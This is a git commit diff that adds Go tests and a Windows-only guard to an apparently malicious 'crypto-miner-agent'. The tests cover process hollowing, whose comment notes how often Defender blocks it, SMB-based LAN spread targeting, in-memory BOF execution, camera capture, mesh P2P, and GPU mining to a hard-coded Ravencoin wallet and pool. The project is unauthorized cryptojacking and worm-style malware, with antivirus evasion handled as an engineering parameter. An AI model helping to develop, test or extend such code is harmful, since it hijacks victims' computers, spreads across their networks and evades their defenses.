Add by-design safety tests and clear PROBLEMS.md rows.
Go/Vitest coverage for bof_execute, hollow AMSI limits, cloudflared stub policy, KEV n/a, mesh P2P zero peers, and non-Windows GPU/camera stubs. Skip GPU subprocess on non-Windows; document cloudflared external connector path.
This commit is contained in:
41
agent/client/bof_execute_test.go
Normal file
41
agent/client/bof_execute_test.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestBofExecuteReturnsExplicitSafetyError(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
done := make(chan struct {
|
||||
action string
|
||||
success bool
|
||||
message string
|
||||
}, 1)
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
done <- struct {
|
||||
action string
|
||||
success bool
|
||||
message string
|
||||
}{action, success, message}
|
||||
}
|
||||
|
||||
c.handleCommand("bof_execute", 0, "", "", "", "")
|
||||
|
||||
select {
|
||||
case r := <-done:
|
||||
if r.action != "bof_execute" {
|
||||
t.Fatalf("action = %q, want bof_execute", r.action)
|
||||
}
|
||||
if r.success {
|
||||
t.Fatal("bof_execute must fail — in-memory BOF execution is disabled")
|
||||
}
|
||||
msg := strings.ToLower(r.message)
|
||||
if !strings.Contains(msg, "disabled") && !strings.Contains(msg, "not implemented") {
|
||||
t.Fatalf("unexpected error message: %q", r.message)
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timeout waiting for bof_execute command_result hook")
|
||||
}
|
||||
}
|
||||
27
agent/client/camera_platform_stub_test.go
Normal file
27
agent/client/camera_platform_stub_test.go
Normal file
@@ -0,0 +1,27 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestCameraStubUnsupportedOnDarwinAndOtherUnix(t *testing.T) {
|
||||
for _, action := range []string{"camera_snapshot", "camera_list"} {
|
||||
handled, success, msg := handleCameraAction(action, "")
|
||||
if !handled {
|
||||
t.Fatalf("%s not handled by platform stub", action)
|
||||
}
|
||||
if success {
|
||||
t.Fatalf("%s must fail on non-Windows/non-Linux platforms", action)
|
||||
}
|
||||
if msg == "" {
|
||||
t.Fatalf("%s returned empty message", action)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCameraStubIgnoresUnknownActions(t *testing.T) {
|
||||
handled, _, _ := handleCameraAction("screenshot", "")
|
||||
if handled {
|
||||
t.Fatal("screenshot should not be handled by camera stub")
|
||||
}
|
||||
}
|
||||
26
agent/client/cve_scan_stub_test.go
Normal file
26
agent/client/cve_scan_stub_test.go
Normal file
@@ -0,0 +1,26 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestScanKEVExposureNonWindowsReturnsNA(t *testing.T) {
|
||||
r := scanKEVExposure(nil, nil, nil)
|
||||
if r == nil {
|
||||
t.Fatal("expected non-nil KEV report")
|
||||
}
|
||||
if r.Summary != "KEV scan requires Windows" {
|
||||
t.Fatalf("summary = %q", r.Summary)
|
||||
}
|
||||
if len(r.Findings) != len(KEVCatalog) {
|
||||
t.Fatalf("findings = %d, want %d catalog entries", len(r.Findings), len(KEVCatalog))
|
||||
}
|
||||
for _, f := range r.Findings {
|
||||
if f.Status != "n/a" {
|
||||
t.Fatalf("CVE %s status = %q, want n/a", f.CVE, f.Status)
|
||||
}
|
||||
if f.Detail == "" {
|
||||
t.Fatalf("CVE %s missing n/a detail", f.CVE)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -74,6 +75,12 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
||||
return nil
|
||||
}
|
||||
// KawPoW subprocess miners ship as Windows PE binaries only (t-rex.exe / teamredminer.exe).
|
||||
// Linux/macOS may detect NVIDIA via nvidia-smi but cannot run these downloads.
|
||||
if runtime.GOOS != "windows" {
|
||||
log.Printf("[gpu] GPU subprocess mining requires Windows (miners ship as .exe only)")
|
||||
return nil
|
||||
}
|
||||
info := detectGPU()
|
||||
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
||||
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
||||
|
||||
28
agent/client/gpu_miner_platform_test.go
Normal file
28
agent/client/gpu_miner_platform_test.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestGPUMinerSpecDownloadsWindowsExeOnly(t *testing.T) {
|
||||
for _, vendor := range []GPUVendor{GPUVendorNVIDIA, GPUVendorAMD} {
|
||||
g := &GPUMiner{info: GPUInfo{Vendor: vendor}}
|
||||
s := g.spec()
|
||||
if !strings.HasSuffix(strings.ToLower(s.fileName), ".exe") {
|
||||
t.Fatalf("vendor %v fileName = %q, want Windows .exe miner", vendor, s.fileName)
|
||||
}
|
||||
if !strings.Contains(strings.ToLower(s.downloadURL), "-win") {
|
||||
t.Fatalf("vendor %v downloadURL = %q, want Windows release archive", vendor, s.downloadURL)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewGPUMinerSkippedOnNonWindows(t *testing.T) {
|
||||
cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
|
||||
if g := newGPUMiner(cfg); g != nil {
|
||||
t.Fatal("newGPUMiner must return nil on non-Windows — miners ship as .exe only")
|
||||
}
|
||||
}
|
||||
28
agent/client/mesh_p2p_stub_test.go
Normal file
28
agent/client/mesh_p2p_stub_test.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build !p2p
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestMeshP2PStubReportsZeroPeers(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
m := c.mesh
|
||||
if m == nil {
|
||||
t.Fatal("mesh node is nil")
|
||||
}
|
||||
if err := m.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
if n := m.PeerCount(); n != 0 {
|
||||
t.Fatalf("PeerCount() = %d, want 0 without -tags p2p", n)
|
||||
}
|
||||
m.BroadcastToMesh(Message{Type: "stats"}) // no-op must not panic
|
||||
m.Stop()
|
||||
if m.PeerCount() != 0 {
|
||||
t.Fatalf("PeerCount() after Stop = %d, want 0", m.PeerCount())
|
||||
}
|
||||
}
|
||||
9
agent/deploy/hollow_design.go
Normal file
9
agent/deploy/hollow_design.go
Normal file
@@ -0,0 +1,9 @@
|
||||
package deploy
|
||||
|
||||
// Intentional process-hollowing limits (see hollow_windows.go RunHollowed).
|
||||
// Relocation patching is implemented; AMSI/ETW bypass is not — Defender may
|
||||
// still block ~50% of real-world attempts on Windows 10/11.
|
||||
const (
|
||||
HollowRelocationsImplemented = true
|
||||
HollowAMSIBypassImplemented = false
|
||||
)
|
||||
@@ -16,3 +16,12 @@ func TestRunHollowedUnavailableWithoutTag(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHollowDesignLimitsDocumented(t *testing.T) {
|
||||
if !HollowRelocationsImplemented {
|
||||
t.Fatal("relocation patching must remain implemented (H12)")
|
||||
}
|
||||
if HollowAMSIBypassImplemented {
|
||||
t.Fatal("AMSI/ETW bypass must stay disabled by design")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -40,7 +40,7 @@ func TestSMBUNCSvcName(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
|
||||
func TestDiscoverLANSpreadTargetsRespectsCustomCap(t *testing.T) {
|
||||
targets := DiscoverLANSpreadTargets(2)
|
||||
if len(targets) > 2 {
|
||||
t.Fatalf("cap ignored: got %d targets", len(targets))
|
||||
|
||||
Reference in New Issue
Block a user